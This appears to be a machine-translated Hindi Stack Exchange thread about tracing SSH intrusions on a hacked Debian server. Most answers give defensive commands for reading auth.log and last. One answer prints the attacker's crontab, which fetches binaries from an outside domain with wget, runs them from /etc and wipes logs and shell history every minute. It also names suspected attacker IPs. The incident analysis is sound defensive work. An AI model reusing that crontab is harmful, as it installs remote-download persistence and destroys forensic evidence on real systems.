IP पते का इतिहास जो किसी सर्वर को ssh के माध्यम से एक्सेस करता है


42

यह मेरे ध्यान में आया है कि मेरा एक सर्वर हैक किया गया है और एक ज्ञात चीनी बॉटनेट से संक्रमित है।

यह अपने स्वयं के स्थिर आईपी (यूएस पते) के साथ एक प्रोटोटाइप / परीक्षण आभासी मशीन थी, इसलिए कोई नुकसान नहीं हुआ (बस मुझे यह पता लगाने में थोड़ी देर लगी)।

अब मैं जानना चाहता हूं कि घुसपैठ के लिए आईपी / एस का इस्तेमाल क्या किया गया था ताकि यह पता चल सके कि हमले की शुरुआत चीन से हुई थी।

क्या सर्वर पर ssh पर प्राप्त कनेक्शन का इतिहास देखने का कोई तरीका है?

संपादित करें: सिस्टम लिनक्स डेबियन 7 है

जवाबों:


45

lastकमांड के आउटपुट को देखें और नेटवर्क पर एक रिक्त स्थान के बजाय आईपी पते या होस्टनाम के साथ कुछ भी। यदि sshdइस प्रणाली पर ऐसा करने का एकमात्र तरीका है, तो आप वहां जाते हैं।

वैकल्पिक रूप से (यदि यह लिनक्स है), तो आप /var/log/secure(आरएच-आधारित डिस्ट्रोस पर) या /var/log/auth.log(डेबियन-आधारित डिस्ट्रोस पर ) जांच कर सकते हैं, जहां sshdआमतौर पर कनेक्शन किए गए कनेक्शनों पर नज़र रखी जाएगी, भले ही वे सफल लॉगिन (जो हिट utmp/ ) में परिणाम न करें wtmp, जो से क्या lastपढ़ा जाएगा)। उदाहरण:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC सोलारिस sshd(जो जरूरी नहीं कि ओपनएसएसएच हो sshd) इस जानकारी को लॉग करेगा/var/adm/messages

संपादित करें:

@derobert एक उत्कृष्ट बिंदु बनाता है। यह याद रखना महत्वपूर्ण है कि किसी भी प्रणाली पर, यदि आपके सुपरसुअर खाते से छेड़छाड़ की जाती है, तो लॉग फाइल के बाद से सभी दांव बंद हो जाते हैं जैसे कि /var/log/wtmpया /var/adm/messagesहमलावर द्वारा संशोधित किया जा सकता है। यदि आप एक सुरक्षित स्थान पर लॉग-ऑफ सर्वर को हटाते हैं तो इसे कम किया जा सकता है।

उदाहरण के लिए, एक दुकान पर मैं काम करता था, हमारे पास एक "ऑडिट वॉल्ट" मशीन थी जो सुरक्षित थी ताकि डेटा सेंटर में विभिन्न सर्वरों से केवल ऑडिट लॉग फाइल प्राप्त हो सके। मैं भविष्य में एक समान सेटअप होने की सलाह दूंगा (क्योंकि "मेरे पास एक परीक्षण मशीन है" लगता है जैसे आप एक बड़े-ईश दुकान में काम कर रहे हैं)


7
आपका उत्तर लगभग सब कुछ शामिल करता है, इसलिए मैं अपना स्वयं का जोड़ना नहीं चाहता ... लेकिन कृपया "की तरह कुछ जोड़ दें" यदि हमलावर ने रूट प्राप्त कर लिया है, तो अधिकांश कॉन्फ़िगरेशन में, बॉक्स पर कोई लॉगिंग डेटा वास्तव में विश्वसनीय नहीं हो सकता है , जैसे रूट लॉग को आसानी से संपादित कर सकता है। "
derobert

1
@derobert, मैंने आपके द्वारा सुझाए गए कुछ विवरण जोड़े हैं :)
रमेश

प्रतीक्षा करें, '/ var / log / Secure' डेबियन पर नहीं है, यह Red Hat डिस्टोर्स में है।
Secko

@ साइको ने दोनों को शामिल करने के लिए उत्तर का संपादन किया।
ब्राचली

14

क्या सर्वर पर ssh पर प्राप्त कनेक्शन का इतिहास देखने का कोई तरीका है?

यह आपको एक सूची देनी चाहिए:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

तब आप होस्टनाम या आईपी-एड्रेस से देश में जाने के geoiplookupलिए geoip-binपैकेज से उपयोग कर सकते हैं ।


उपयोगी +1। क्या आप समय और दिनांक दिखाने के लिए कमांड को अपडेट कर सकते हैं?
एडुआर्ड फ्लोरिंसकु

3
@Eduard Florinescu क्षमा करें, मेरे sedकौशल उस भगवान नहीं हैं। कुछ अधिक जटिल करने के लिए, पायथन या एक समर्पित लॉग पार्सर का उपयोग करें। लेकिन आप यह कोशिश कर सकते हैं:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson-Langen

6

खैर, जैसा कि अपेक्षित था, और जैसा @ जोएल डेविस ने कहा, सभी लॉग मिटा दिए गए थे, लेकिन @Ramesh ने बताया कि रूट उपयोगकर्ता तक पहुंचने के कुछ प्रयास हैं लेकिन कुछ बार सही पासवर्ड दर्ज करने में विफल रहे, फिर डिस्कनेक्ट के लिए बहुत सारे पुन: प्रयास करता है।

मैंने तीन पतों पर एक ट्रेसरआउट किया और दो चीन के हैं और दूसरे पाकिस्तान के हैं; ये आईपी हैं:

221.120.224.179
116.10.191.218
61.174.51.221

बोटनेट के बारे में अधिक जानकारी जो समझौता किए जाने के बाद सर्वर में इंजेक्ट की गई थी:

हैकर्स कोंटैब को 7 एक्जीक्यूटिव्स को निष्पादित करने के लिए संपादित करते हैं, जो कि प्रत्येक एक्स राशि का उपयोग करते हैं, सभी सीपीयू का उपयोग करते हैं, सर्वर नेटवर्क आउटपुट को अधिकतम करते हैं, फिर बस मर जाते हैं। इसके अलावा, वे जोड़ा लाइनों को छिपाने के लिए 100 बार crontab में रीडमी को जोड़ते हैं, इसलिए जब आप करते crontab -lहैं तो आप रीडमी द्वारा छिपी हुई लाइनों के साथ स्पैम हो जाएंगे। इसे दरकिनार करने के लिए, मैंने प्रयोग किया crontab -l | grep -v '^#'और यहाँ उस कमांड का आउटपुट है:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

जैसा कि आप देख सकते हैं, सभी लॉग फाइलें साफ़ हो जाती हैं, यही कारण है कि मैं बहुत सारी जानकारी प्राप्त नहीं कर पाया था।

इसने पूरे सर्वर (सभी वीएम) को साइटों पर और प्रॉक्सॉक्स पर टाइमआउट कर दिया। यहाँ एक ग्राफ है (स्पाइक्स बॉटनेट को सक्रिय रूप से DDoS'ing दर्शाता है और नेटवर्क को नोटिस करता है): बॉटनेट गतिविधि

परिणामस्वरूप मैं सभी कनेक्शनों को अवरुद्ध करने के लिए एक फ़ायरवॉल पर चीनी आईपी पते की पूरी श्रृंखला जोड़ रहा हूं (मेरे पास कोई चीनी उपयोगकर्ता नहीं है इसलिए मुझे परवाह नहीं है), मैं दूरस्थ रूट लॉगिन को भी समाप्त कर दूंगा और लंबे समय तक जटिल का उपयोग करूंगा पासवर्ड। मैं सबसे अधिक संभावना ssh पोर्ट को बदलूंगा और निजी ssh कुंजियों का भी उपयोग करूंगा।


3
यह बहुत डरावना सामान है - किसी भी विचार कि वे आपके सिस्टम तक कैसे पहुंचे? क्या यह केवल कमजोर पासवर्ड के खिलाफ एक क्रूर बल हैक था?
user35581

3

से इस सवाल का जवाब, मैं नीचे दी गई जानकारी देखें।

SSH सर्वर के बारे में बात करते हुए, मैं आपको कमांड लाइन समाधान दूंगा।

उपयोगकर्ता लॉगिन और लॉगआउट ट्रैक करें । यह आसान है, फ़ाइल /var/log/auth.logमें यह जानकारी होनी चाहिए।

उन उपयोगकर्ताओं की गतिविधि को ट्रैक करें : यदि वे कुछ निर्दोष हैं, तो आप .bash_historyउनके घर निर्देशिका में फ़ाइल की जांच कर सकते हैं । आपको उन आदेशों की एक सूची दिखाई देगी, जिन्हें उन्होंने निष्पादित किया था। समस्या यह है कि वे इस फ़ाइल को हटा सकते हैं या संपादित कर सकते हैं।

उपयोगकर्ताओं को लॉग हटाने से रोकें : उपयोगकर्ताओं को स्पर्श करने में सक्षम नहीं होना चाहिए auth.log। आदेश में उन्हें bash_historyआप के साथ खेलने से रोकने के लिए चाल की एक जोड़ी करने की जरूरत है।

क्या होगा यदि उपयोगकर्ता रूट एक्सेस प्राप्त करने का प्रबंधन करता है? : तुम तो गए। जब तक वह गलती नहीं करेगा वह अपने सभी नक्शेकदम को छिपाने में सक्षम होगा।

साथ ही, इस उत्तर से, हम SSH_CLIENTचर का उपयोग करके क्लाइंट का आईपी पता देख सकते हैं ।

इस उत्तर से भी , मुझे लगता है कि ssh इतिहास इन फाइलों में संग्रहीत किया जा सकता है।

इसके अलावा /var/log/lastlog, इसमें 3 फाइलें हैं : /var/runऔर , और जो वर्तमान लॉगिन (और अतिरिक्त जानकारी), ऐतिहासिक और विफल लॉगिन के बारे में जानकारी रखती हैं। विस्तृत विवरण के लिए विकी देखें । आप सामान्य संपादकों के साथ फ़ाइलों को संपादित नहीं कर सकते, लेकिन उन्हें मिटा सकते हैं।/var/logutmpwtmpbtmp


1

पिछले 10 उपयोगकर्ताओं को मशीन में लॉग इन करने के लिए सबसे सरल कमांड है last|head

सभी उपयोगकर्ताओं को प्राप्त करने के लिए बस lastकमांड का उपयोग करें


1

इस मशीन से समझौता किया गया है। इसका मतलब यह है कि इस पर कोई डेटा, ऐतिहासिक या वर्तमान, अब भरोसा नहीं किया जा सकता है।

संक्षेप में, उत्तर नहीं है। आप यह सुनिश्चित नहीं कर सकते हैं कि आपने इस मशीन पर दर्ज किसी भी लॉग फ़ाइल से मूल पता प्राप्त किया हो।

पोंछें और पुन: स्थापित करें। और पैच।


1

पासवर्ड के साथ केवल सफल लॉगिन प्रयास देखने के लिए:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

डेबियन के लिए परीक्षण खोज को थोड़ा अलग बताया गया है

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.